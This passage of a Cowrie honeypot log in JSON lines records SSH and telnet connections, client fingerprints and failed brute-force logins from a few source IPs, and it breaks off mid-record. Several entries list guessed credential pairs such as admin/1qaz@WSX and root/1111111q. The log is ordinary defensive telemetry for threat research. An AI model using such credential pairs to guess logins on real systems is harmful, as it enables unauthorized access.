{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:38.002028Z","src_ip":"31.40.204.166","session":"455478411091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:38.117823Z","src_ip":"31.40.204.166","session":"455478411091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:38.805433Z","src_ip":"31.40.204.166","session":"455478411091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:39.989287Z","src_ip":"31.40.204.166","session":"455478411091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea721b6bd502","protocol":"telnet","message":"New connection: 152.42.224.71:52016 (10.17.0.5:23) [session: ea721b6bd502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:40.867607Z"}
{"eventid":"cowrie.session.closed","duration":106.64859008789062,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:43.365128Z","src_ip":"152.42.224.71","session":"865b25ba2474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.408372402191162,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:45.017524Z","src_ip":"152.42.224.71","session":"b4d4ea6d1eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38066,"dst_ip":"159.203.135.109","dst_port":22,"session":"7981da52a121","protocol":"ssh","message":"New connection: 31.40.204.166:38066 (159.203.135.109:22) [session: 7981da52a121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:49.201890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:49.209749Z","src_ip":"31.40.204.166","session":"7981da52a121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:49.380250Z","src_ip":"31.40.204.166","session":"7981da52a121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:49.805645Z","src_ip":"31.40.204.166","session":"7981da52a121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:50.994289Z","src_ip":"31.40.204.166","session":"7981da52a121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60718,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0cced1d309","protocol":"telnet","message":"New connection: 152.42.224.71:60718 (10.17.0.5:23) [session: bb0cced1d309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:52.873243Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60724,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec3ae28c609","protocol":"telnet","message":"New connection: 152.42.224.71:60724 (10.17.0.5:23) [session: 8ec3ae28c609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:53.531245Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60738,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb9dc09d1ce","protocol":"telnet","message":"New connection: 152.42.224.71:60738 (10.17.0.5:23) [session: edb9dc09d1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:53.628599Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49262,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea94f78c1f3a","protocol":"ssh","message":"New connection: 103.27.238.116:49262 (159.203.135.109:22) [session: ea94f78c1f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:53.823662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:53.829117Z","src_ip":"103.27.238.116","session":"ea94f78c1f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00561022758484,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:53.836854Z","src_ip":"152.42.224.71","session":"94fab07e3362","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:54.098887Z","src_ip":"103.27.238.116","session":"ea94f78c1f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111q","message":"login attempt [root/1111111q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:54.911583Z","src_ip":"103.27.238.116","session":"ea94f78c1f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:56.184051Z","src_ip":"103.27.238.116","session":"ea94f78c1f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.4745364189148,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:57.645908Z","src_ip":"152.42.224.71","session":"e7ff4299d7f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.87550663948059,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:59.005009Z","src_ip":"152.42.224.71","session":"211265f37627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.167932987213135,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:01.586655Z","src_ip":"152.42.224.71","session":"319639d39581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33632,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1cc86ebfe9d","protocol":"ssh","message":"New connection: 31.40.204.166:33632 (159.203.135.109:22) [session: c1cc86ebfe9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:02.090055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:02.197016Z","src_ip":"31.40.204.166","session":"c1cc86ebfe9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:02.222046Z","src_ip":"31.40.204.166","session":"c1cc86ebfe9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:02.990727Z","src_ip":"31.40.204.166","session":"c1cc86ebfe9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:04.182461Z","src_ip":"31.40.204.166","session":"c1cc86ebfe9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49376,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b8396f9daa4","protocol":"telnet","message":"New connection: 152.42.224.71:49376 (10.17.0.5:23) [session: 4b8396f9daa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:04.988750Z"}
{"eventid":"cowrie.session.closed","duration":39.86807107925415,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:08.733621Z","src_ip":"152.42.224.71","session":"51bfbcc857be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41306,"dst_ip":"10.17.0.5","dst_port":23,"session":"389e9b1cf793","protocol":"telnet","message":"New connection: 152.42.224.71:41306 (10.17.0.5:23) [session: 389e9b1cf793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:12.248104Z"}
{"eventid":"cowrie.session.closed","duration":56.546908140182495,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:13.030710Z","src_ip":"152.42.224.71","session":"613836662455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41314,"dst_ip":"10.17.0.5","dst_port":23,"session":"b492b67bca85","protocol":"telnet","message":"New connection: 152.42.224.71:41314 (10.17.0.5:23) [session: b492b67bca85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:14.530424Z"}
{"eventid":"cowrie.session.closed","duration":41.09116458892822,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:14.535694Z","src_ip":"152.42.224.71","session":"ba0d4cd63ad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46746,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e8da872e9ae","protocol":"ssh","message":"New connection: 31.40.204.166:46746 (159.203.135.109:22) [session: 1e8da872e9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:14.680895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:14.690234Z","src_ip":"31.40.204.166","session":"1e8da872e9ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:14.889042Z","src_ip":"31.40.204.166","session":"1e8da872e9ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:15.316209Z","src_ip":"31.40.204.166","session":"1e8da872e9ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:16.606086Z","src_ip":"31.40.204.166","session":"1e8da872e9ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.88131141662598,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:18.748785Z","src_ip":"152.42.224.71","session":"ea721b6bd502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.83018660545349,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:24.203066Z","src_ip":"152.42.224.71","session":"0218aa2c6e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35468,"dst_ip":"10.17.0.5","dst_port":23,"session":"181d96852a82","protocol":"telnet","message":"New connection: 152.42.224.71:35468 (10.17.0.5:23) [session: 181d96852a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:24.336423Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35470,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4e3d6f2aca","protocol":"telnet","message":"New connection: 152.42.224.71:35470 (10.17.0.5:23) [session: 4b4e3d6f2aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:25.741570Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60708,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9826a02950","protocol":"ssh","message":"New connection: 194.59.206.2:60708 (10.17.0.5:22) [session: 5f9826a02950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:25.746813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:25.751391Z","src_ip":"194.59.206.2","session":"5f9826a02950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:25.840989Z","src_ip":"194.59.206.2","session":"5f9826a02950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:25.931139Z","src_ip":"194.59.206.2","session":"5f9826a02950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51938,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6c8f63a1890","protocol":"ssh","message":"New connection: 31.40.204.166:51938 (159.203.135.109:22) [session: d6c8f63a1890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:26.384950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:13:26.398196Z","src_ip":"31.40.204.166","session":"d6c8f63a1890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-pol